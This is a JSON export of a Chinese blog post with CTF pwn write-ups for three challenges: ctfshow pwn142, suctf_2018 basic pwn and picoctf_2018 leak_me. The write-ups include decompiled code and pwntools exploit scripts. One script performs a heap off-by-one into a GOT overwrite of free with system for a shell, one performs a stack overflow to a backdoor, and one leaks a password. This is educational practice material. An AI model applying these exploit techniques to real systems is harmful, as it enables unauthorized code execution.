{"id":380,"date":"2025-08-08T11:37:34","date_gmt":"2025-08-08T03:37:34","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=380"},"modified":"2025-08-08T11:37:35","modified_gmt":"2025-08-08T03:37:35","slug":"ctfshowpwn142off-by-one%e3%80%81buuctfsuctf_2018_basic-pwn%e3%80%81picoctf_2018_leak_me","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/08\/08\/ctfshowpwn142off-by-one%e3%80%81buuctfsuctf_2018_basic-pwn%e3%80%81picoctf_2018_leak_me\/","title":{"rendered":"ctfshow:pwn142(off by one)\u3001buuctf:suctf_2018_basic pwn\u3001picoctf_2018_leak_me"},"content":{"rendered":"\n

1\u3001ctfshow pwn142\u5206\u6790<\/h2>\n\n\n\n

buuctf\u4eca\u5929\u4e0d\u77e5\u9053\u600e\u4e48\u4e86\u6253\u4e0d\u5f00\uff0c\u5b66\u5b66\u5806\u7b97\u4e86<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u8fd0\u884c\u4e00\u4e0b\u5c31\u662f\u4e00\u4e2a\u83dc\u5355<\/p>\n\n\n\n

\u770b\u4e00\u4e0b\u4e0d\u540c\u7684\u51fd\u6570\uff0c\u627e\u627e\u6f0f\u6d1e\u5728\u4ec0\u4e48\u5730\u65b9<\/p>\n\n\n\n

create_heap<\/p>\n\n\n\n

__int64 create_heap()\n{\n  _QWORD *v0; \/\/ rbx@6\n  signed int i; \/\/ [sp+4h] [bp-2Ch]@1\n  size_t size; \/\/ [sp+8h] [bp-28h]@6\n  char buf; \/\/ [sp+10h] [bp-20h]@6\n  __int64 v5; \/\/ [sp+18h] [bp-18h]@1\n\n  v5 = *MK_FP(__FS__, 40LL);\n  for ( i = 0; i <= 9; ++i )\n  {\n    if ( !heaparray[i] )\n    {\n      heaparray[i] = malloc(0x10uLL);\/\/\u8fd9\u91cc\u5e94\u8be5\u662f\u5b58\u653esize\u7684heap\n      if ( !heaparray[i] )\n      {\n        puts(\"Allocate Error\");\n        exit(1);\n      }\n      printf(\"Size of Heap : \");\n      read(0, &buf, 8uLL);\n      size = atoi(&buf);\n      v0 = heaparray[i];\n      v0[1] = malloc(size);\n      if ( !*((_QWORD *)heaparray[i] + 1) )\n      {\n        puts(\"Allocate Error\");\n        exit(2);\n      }\n      *(_QWORD *)heaparray[i] = size;\n      printf(\"Content of heap:\", &buf);\n      read_input(*((void **)heaparray[i] + 1), size);\u8fd9\u91cc\u7684\u8f93\u5165\u5185\u5bb9\u7684\u5730\u5740\u662f\u901a\u8fc7\u4e0a\u9762\u7684size\u7d22\u5f15\u7684\n      puts(\"SuccessFul\");\n      return *MK_FP(__FS__, 40LL) ^ v5;\n    }\n  }\n  return *MK_FP(__FS__, 40LL) ^ v5;\n}<\/code><\/pre>\n\n\n\n

edit_heap<\/p>\n\n\n\n
__int64 edit_heap()\n{\n  __int64 v1; \/\/ [sp+0h] [bp-10h]@1\n  __int64 v2; \/\/ [sp+8h] [bp-8h]@1\n\n  v2 = *MK_FP(__FS__, 40LL);\n  printf(\"Index :\");\n  read(0, (char *)&v1 + 4, 4uLL);\n  LODWORD(v1) = atoi((const char *)&v1 + 4);\n  if ( (signed int)v1 < 0 || (signed int)v1 > 9 )\n  {\n    puts(\"Out of bound!\");\n    _exit(0);\n  }\n  if ( heaparray[(signed int)v1] )\n  {\n    printf(\"Content of heap : \", (char *)&v1 + 4, v1);\n    read_input(*((void **)heaparray[(signed int)v1] + 1), *(_QWORD *)heaparray[(signed int)v1] + 1LL);\/\/\u8bfb\u5165\u7684\u662fsize\u5927\u5c0f+1,\u6709off by one\u6f0f\u6d1e\n    puts(\"Done !\");\n  }\n  else\n  {\n    puts(\"No such heap !\");\n  }\n  return *MK_FP(__FS__, 40LL) ^ v2;\n}<\/code><\/pre>\n\n\n\n
\u73b0\u5728\u6f0f\u6d1e\u627e\u5230\u4e86<\/p>\n\n\n\n
show_heap<\/p>\n\n\n\n
__int64 show_heap()\n{\n  __int64 v1; \/\/ [sp+0h] [bp-10h]@1\n  __int64 v2; \/\/ [sp+8h] [bp-8h]@1\n\n  v2 = *MK_FP(__FS__, 40LL);\n  printf(\"Index :\");\n  read(0, (char *)&v1 + 4, 4uLL);\n  LODWORD(v1) = atoi((const char *)&v1 + 4);\n  if ( (signed int)v1 < 0 || (signed int)v1 > 9 )\n  {\n    puts(\"Out of bound!\");\n    _exit(0);\n  }\n  if ( heaparray[(signed int)v1] )\/\/\u540e\u9762\u5c31\u662f\u6253\u5370size\u548ccontent\n  {\n    printf(\n      \"Size : %ld\\nContent : %s\\n\",\n      *(_QWORD *)heaparray[(signed int)v1],\n      *((_QWORD *)heaparray[(signed int)v1] + 1),\n      v1);\n    puts(\"Done !\");\n  }\n  else\n  {\n    puts(\"No such heap !\");\n  }\n  return *MK_FP(__FS__, 40LL) ^ v2;\n}<\/code><\/pre>\n\n\n\n

delete_heap<\/p>\n\n\n\n
__int64 delete_heap()\n{\n  int v1; \/\/ [sp+0h] [bp-10h]@1\n  char buf; \/\/ [sp+4h] [bp-Ch]@1\n  __int64 v3; \/\/ [sp+8h] [bp-8h]@1\n\n  v3 = *MK_FP(__FS__, 40LL);\n  printf(\"Index :\");\n  read(0, &buf, 4uLL);\n  v1 = atoi(&buf);\n  if ( v1 < 0 || v1 > 9 )\n  {\n    puts(\"Out of bound!\");\n    _exit(0);\n  }\n  if ( heaparray[v1] )\/\/\u8fd9\u91cc\u628a\u4fdd\u5b58\u7684size\u6e05\u96f6\u4e86\uff0c\u540e\u9762\u7684\u5e76\u6ca1\u6709\u6e05\u96f6\n  {\n    free(*((void **)heaparray[v1] + 1));\n    free(heaparray[v1]);\n    heaparray[v1] = 0LL;\n    puts(\"Done !\");\n  }\n  else\n  {\n    puts(\"No such heap !\");\n  }\n  return *MK_FP(__FS__, 40LL) ^ v3;\n}<\/code><\/pre>\n\n\n\n
\u6211\u4eec\u53ef\u4ee5\u7533\u8bf7chunk\u6765\u628a\u4e0b\u4e00\u4e2asize\u4f5c\u4e3a\u5f15\u7528\uff0c\u56e0\u4e3a\u5f15\u7528\u65f6+1\u561b\uff0c\u8fd9\u6837\u53ef\u4ee5\u8986\u76d6\u5230\u4e0b\u4e00\u4e2achunk\u7684size\u4f4d\uff0c\u4fdd\u5b58\u8fc7size\u7684chunk\u5c31\u79f0size_chunk\u5427\uff0c\u8986\u76d6size_chunk\u7684size\u4e3a\u5176\u4ed6\u5927\u5c0f\uff0c\u7136\u540e\u91ca\u653e\u5c31\u80fd\u7533\u8bf7\u8fd9\u4e2asize_chunk,\u5e76\u6ea2\u51fa\u5230\u5176\u4ed6chunk\u518d\u4fee\u6539\u4ed6\u4fdd\u5b58\u7684\u4e4b\u524d\u7533\u8bf7chunk\u7684\u5730\u5740\u4e3afree_got\uff0c\u4e4b\u540e\u8fdb\u884c\u6539\u5199\uff0c\u5f53\u8f93\u51fa\u8be5\u5757\u7684\u65f6\u5019\uff0c\u4f1a\u8f93\u51fafree\u7684\u5730\u5740\uff0c\u5c31\u53ef\u4ee5\u6cc4\u9732libc\uff0c\u6700\u540e\u628afree\u8986\u76d6\u4e3asystem\uff0c\u518d\u5220\u9664\u4e00\u4e2a\u5185\u5bb9\u662f\/bin\/sh\u7684\u5806\u5757<\/p>\n\n\n\n
\u5e94\u8be5\u662f\u9700\u8981\u4e09\u4e2a\u5806\u5757\u5927\u5c0f\u4e3a0x18,\u8ddf\u7740\u5927\u4f6c\u5199\u4e00\u4e0b\u5427\uff0c\u6162\u6162\u6765<\/p>\n\n\n\n
2\u3001ctfshow pwn142\u5b9e\u64cd<\/h2>\n\n\n\n
\u6211\u4eec\u5148\u6cc4\u9732libc\u770b\u770b<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"pwn.challenge.ctf.show\",28127)\nelf=ELF(\".\/pwn142\")\n\ndef create(size,content):\n    p.recvuntil(\"choice :\")\n    p.sendline(\"1\")\n    p.recvuntil(\":\")\n    p.sendline(str(size))\n    p.recvuntil(\":\")\n    p.sendline(content)\n\ndef edit(idx,content):\n    p.recvuntil(\"choice :\")\n    p.sendline(\"2\")\n    p.recvuntil(\":\")\n    p.sendline(str(idx))\n    p.recvuntil(\":\")\n    p.sendline(content)\n\ndef show(idx):\n    p.recvuntil(\"choice :\")\n    p.sendline(\"3\")\n    p.recvuntil(\":\")\n    p.sendline(str(idx))\n\ndef delete(idx):\n    p.recvuntil(\"choice :\")\n    p.sendline(\"3\")\n    p.recvuntil(\":\")\n    p.sendline(str(idx))\n\ncreate(0x18,\"aaaa\")\ncreate(0x10,\"bbbb\")\nedit(0,\"\/bin\/sh\\x00\"+\"a\"*0x10+\"\\x41\")\ndelete(1)\ncreate(0x30,p64(0)*4+p64(0x30)+p64(elf.got['free']))\nshow(1)\np.recvuntil(\"Content :\")\ndata=p.recvuntil(\"Done !\")\n\nfree=u64(data.split(b\"\\n\")[0].ljust(8,b\"\\x00\"))\nprint(hex(free))\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u641c\u4e00\u4e0b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f46\u662f\u6253\u4e0d\u901a\uff0c\u53ea\u6709\u53bb\u627elibc.so.6\u4e86<\/p>\n\n\n\n
\u4e0b\u9762\u6362\u4e86\u4e2a\u5199\u6cd5\uff0c\u56e0\u4e3a\u4e00\u76f4\u6253\u4e0d\u901a<\/p>\n\n\n\n
from pwn import *\ncontext.log_level = 'debug'\np=remote(\"pwn.challenge.ctf.show\",28103)\ne=ELF(\".\/pwn142\")\nfree_got=e.got[\"free\"]\n\n\ndef create(size,content):\n    p.sendafter(\"Your choice :\",b\"1\")\n    p.sendlineafter(\"Size of Heap : \",str(size))\n    p.sendlineafter(\"Content of heap:\",content)\n\ndef edit(index,content):\n    p.sendlineafter(\"Your choice :\",b\"2\")\n    p.sendlineafter(\"Index :\",str(index))\n    p.sendafter(\"Content of heap : \",content)\n    \ndef show(index):\n    p.sendlineafter(\"Your choice :\",b\"3\")\n    p.sendlineafter(\"Index :\",str(index))\n\ndef delete(index):\n    p.sendlineafter(\"choice :\",\"4\")\n    p.sendlineafter(b\"Index :\",str(index))\n\ncreate(0x28,b\"a\"*4)\ncreate(0x10,b\"b\"*4)# it has to be 0x10\n\nedit(0,b\"\/bin\/sh\\x00\"+b\"a\"*0x20+b'\\x41')\n\ndelete(1)\ncreate(0x30,p64(0)*4+p64(0x10)+p64(free_got))\nshow(1)\n\np.recvuntil(\"Content : \")\n\nfree_=u64(p.recv(6).ljust(8,b\"\\x00\"))\n\nlibc=ELF(\".\/libc.so.6\")\nlibc_base=free_-libc.sym[\"free\"]\n\nsystem=libc_base+libc.sym[\"system\"]\n\nedit(1,p64(system))\n\ndelete(0)\n\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

3\u3001suctf_2018_basic pwn\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

64\u4f4dfull+NX\uff0c\u6709\u4e00\u4e2a\u8f93\u5165<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u5e94\u8be5\u662f\u540e\u95e8\u4e86\uff0c\u524d\u9762main\u51fd\u6570\u6709\u6808\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u518d\u8df3\u5230\u8fd9\u91cc\u6267\u884c\u5e94\u8be5\u5c31\u53ef\u4ee5<\/p>\n\n\n\n
4\u3001suctf_2018_basic pwn\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",25892)\n\nexecve=0x401157\npayload=b'a'*(0x110+8)+p64(execve)\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

5\u3001picoctf_2018_leak_me\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

32\u4f4dpartial+NX,\u95ee\u4f60\u540d\u5b57<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u548c\u4ec0\u4e48\u5bc6\u7801\u6709\u5173\u770b\u8d77\u6765<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
in\u51fd\u6570\u91cc\u9762\u8fd9\u4e00\u5768\u597d\u50cf\u4e0e\u6253\u5f00password\u6587\u4ef6\u6709\u5173<\/p>\n\n\n\n
flag<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u80fd\u4e0d\u80fd\u6210\u529f\u4f3c\u4e4e\u548cstream\u6709\u5173\uff0cs\u5e94\u8be5\u662f\u5b58\u653eflag\u7684<\/p>\n\n\n\n
main\u51fd\u6570\u4e2d\uff0cname\u5b58\u5728var_154,\u56e0\u4e3a\u53cd\u6c47\u7f16\u4e0d\u4e86\uff0c\u6240\u4ee5\u4e0d\u592a\u597d\u770b<\/p>\n\n\n\n
\u56e0\u4e3a\u8981\u586b\u5145\uff0c\u6240\u4ee5\u8ba1\u7b97\u4e00\u4e0b\u4e24\u8005\u4e4b\u95f4\u7684\u8ddd\u79bb\u662f<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

stream\u91cc\u9762\u662fpassword\u6240\u4ee5var_154\u91cc\u9762\u662f0x100*a+password+”\\x00″*0x4c…,puts\u9047\u5230\\x00\u624d\u4f1a\u505c\u6b62\uff0c\u586b\u5145256\u4e2a\u5b57\u7b26\u5c31\u53ef\u4ee5\u987a\u5e26\u6253\u5370\u51fapassword<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
a_reAllY_s3cuRe_p4s$word_f85406\u5e94\u8be5\u5c31\u662f\u5bc6\u7801<\/p>\n\n\n\n
\u6700\u540e\u6211\u4eec\u76f4\u63a5nc\u7136\u540e\u8f93\u5165\u5c31\u884c\uff0c\u4e0d\u7528\u5199\u811a\u672c\u4e86<\/p>\n\n\n\n
6\u3001picoctf_2018_leak_me\u5b9e\u64cd<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u597d\u5566\uff0c\u5c31\u5230\u8fd9\u513f\u5427……<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001ctfshow pwn142\u5206\u6790 buuctf\u4eca\u5929\u4e0d\u77e5\u9053\u600e\u4e48\u4e86\u6253\u4e0d\u5f00\uff0c\u5b66\u5b66\u5806\u7b97\u4e86 \u8fd0\u884c\u4e00\u4e0b\u5c31\u662f\u4e00\u4e2a\u83dc\u5355 \u770b […]<\/p>\n","protected":false},"author":1,"featured_media":402,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-380","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/380","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=380"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/380\/revisions"}],"predecessor-version":[{"id":403,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/380\/revisions\/403"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/402"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=380"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=380"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=380"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}